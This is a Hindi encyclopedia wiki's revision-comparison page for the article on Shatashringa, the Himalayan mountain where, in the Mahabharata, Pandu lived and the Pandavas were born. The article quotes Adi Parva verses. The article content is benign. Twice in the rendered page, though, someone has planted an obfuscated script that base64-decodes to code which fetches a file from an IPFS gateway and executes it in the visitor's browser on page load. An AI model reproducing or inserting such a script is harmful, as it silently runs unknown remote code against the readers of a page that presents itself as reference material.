"शतश्रृंग पर्वत" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replacement - "शृंखला" to "श्रृंखला")
 
(2 सदस्यों द्वारा किये गये बीच के 2 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
'''शतश्रृंग''' [[हिमालय]] के उत्तर में स्थित पर्वत है जहाँ [[महाभारत]] के अनुसार महाराज [[पांडु]], [[माद्री]] और [[कुंती]] के साथ जाकर रहने लगे थे।  
+
'''शतश्रृंग''' [[हिमालय]] के उत्तर में स्थित [[पर्वत]] है, जहाँ [[महाभारत]] के अनुसार महाराज [[पांडु]] अपनी रानियों [[माद्री]] और [[कुंती]] के साथ जाकर रहने लगे थे। यहीं पर पांचो [[पांडव|पांडवों]] की [[देवता|देवताओं]] के आह्वन द्वारा उत्पत्ति हुई थी।
*यहीं पांचो पांडवों की देवताओं के आह्वन द्वारा उत्पत्ति हुई शतश्रंग तक पहुंचने में पांडु को चैवरथ कालकूट और हिमालय को पार करने के बाद गंधमादन, इंदुद्युम्न सर तथा हंसकूट के उत्तर में जाना पड़ा था -‘स चैत्ररथमासाद्य कालकूटमतीत्य च हिमंवन्तमतिक्रम्य प्रययौ गंधमादनम्।  
+
 
रक्ष्याभाणो महाभूतैः सिद्धैश्च परमर्षिभिः उवास स महाराज तापसः समतप्यत’।<ref>महाभारत, [[आदिपर्व महाभारत|आदिपर्व]] 118,48.49-50</ref>  
+
*शतश्रंग तक पहुंचने में महाराज पांडु को चैवरथ कालकूट और हिमालय को पार करने के बाद [[गंधमादन पर्वत|गंधमादन]], इंदुद्युम्न सर तथा [[हंसकूट]] के उत्तर में जाना पड़ा था-
 +
<blockquote><poem>‘स चैत्ररथमासाद्य कालकूटमतीत्य च हिमंवन्तमतिक्रम्य प्रययौ गंधमादनम्।  
 +
रक्ष्याभाणो महाभूतैः सिद्धैश्च परमर्षिभिः उवास स महाराज तापसः समतप्यत’।<ref>महाभारत, [[आदिपर्व महाभारत|आदिपर्व]] 118,48.49-50</ref></poem></blockquote>  
 
*शतश्रृंग निवासियों को पांडु के पांचों पुत्रों से बड़ा प्रेम था -
 
*शतश्रृंग निवासियों को पांडु के पांचों पुत्रों से बड़ा प्रेम था -
 
‘मुदं परमिकां लेभे ननन्द च नराधिपः ऋषाणामपि सर्वेषां शतश्रंगनिवासिनाम्’।<ref>आदिपर्व 122,124</ref>  
 
‘मुदं परमिकां लेभे ननन्द च नराधिपः ऋषाणामपि सर्वेषां शतश्रंगनिवासिनाम्’।<ref>आदिपर्व 122,124</ref>  
पंक्ति 9: पंक्ति 11:
 
*यहां से [[हस्तिनापुर]] तक के मार्ग को महाभारत में बहुत लम्बा बताया है -
 
*यहां से [[हस्तिनापुर]] तक के मार्ग को महाभारत में बहुत लम्बा बताया है -
 
‘प्रपन्न दीर्घपध्बानं संक्षिप्तं तदमन्यत’।<ref> आदिपर्व 125,8</ref>
 
‘प्रपन्न दीर्घपध्बानं संक्षिप्तं तदमन्यत’।<ref> आदिपर्व 125,8</ref>
 
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
==बाहरी कड़ियाँ==
 
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{महाभारत}}
 
{{महाभारत}}
[[Category:महाभारत]]
+
[[Category:महाभारत]][[Category:पौराणिक कोश]][[Category:पौराणिक स्थान]]
[[Category:पौराणिक कोश]]
 
[[Category:पौराणिक स्थान]]
 
 
 
 
__INDEX__
 
__INDEX__

11:53, 9 फ़रवरी 2021 के समय का अवतरण

शतश्रृंग हिमालय के उत्तर में स्थित पर्वत है, जहाँ महाभारत के अनुसार महाराज पांडु अपनी रानियों माद्री और कुंती के साथ जाकर रहने लगे थे। यहीं पर पांचो पांडवों की देवताओं के आह्वन द्वारा उत्पत्ति हुई थी।

  • शतश्रंग तक पहुंचने में महाराज पांडु को चैवरथ कालकूट और हिमालय को पार करने के बाद गंधमादन, इंदुद्युम्न सर तथा हंसकूट के उत्तर में जाना पड़ा था-

‘स चैत्ररथमासाद्य कालकूटमतीत्य च हिमंवन्तमतिक्रम्य प्रययौ गंधमादनम्।
रक्ष्याभाणो महाभूतैः सिद्धैश्च परमर्षिभिः उवास स महाराज तापसः समतप्यत’।[1]

  • शतश्रृंग निवासियों को पांडु के पांचों पुत्रों से बड़ा प्रेम था -

‘मुदं परमिकां लेभे ननन्द च नराधिपः ऋषाणामपि सर्वेषां शतश्रंगनिवासिनाम्’।[2]

  • यहीं किसी असंयम के कारण और किसी ऋषि के शाप के कारण पांडु की मृत्यु हुई थी और उनका अंतिम संस्कार शतश्रंग निवासियों को ही करना पड़ा था-

‘अर्हतस्तस्य कृत्यानि शतश्रृंरंगनिवासिनः, तापसा विधियवच्चक्रुश्चारणाऋषिभिः सह’[3]

  • प्रसंगानुसार यह पर्वत हिमालय की उत्तरी श्रृंखला में स्थित जान पड़ता है।
  • यहां से हस्तिनापुर तक के मार्ग को महाभारत में बहुत लम्बा बताया है -

‘प्रपन्न दीर्घपध्बानं संक्षिप्तं तदमन्यत’।[4]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. महाभारत, आदिपर्व 118,48.49-50
  2. आदिपर्व 122,124
  3. महाभारत आदिपर्व 124,1 से आगे दाक्षिणात्य पाठ
  4. आदिपर्व 125,8

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>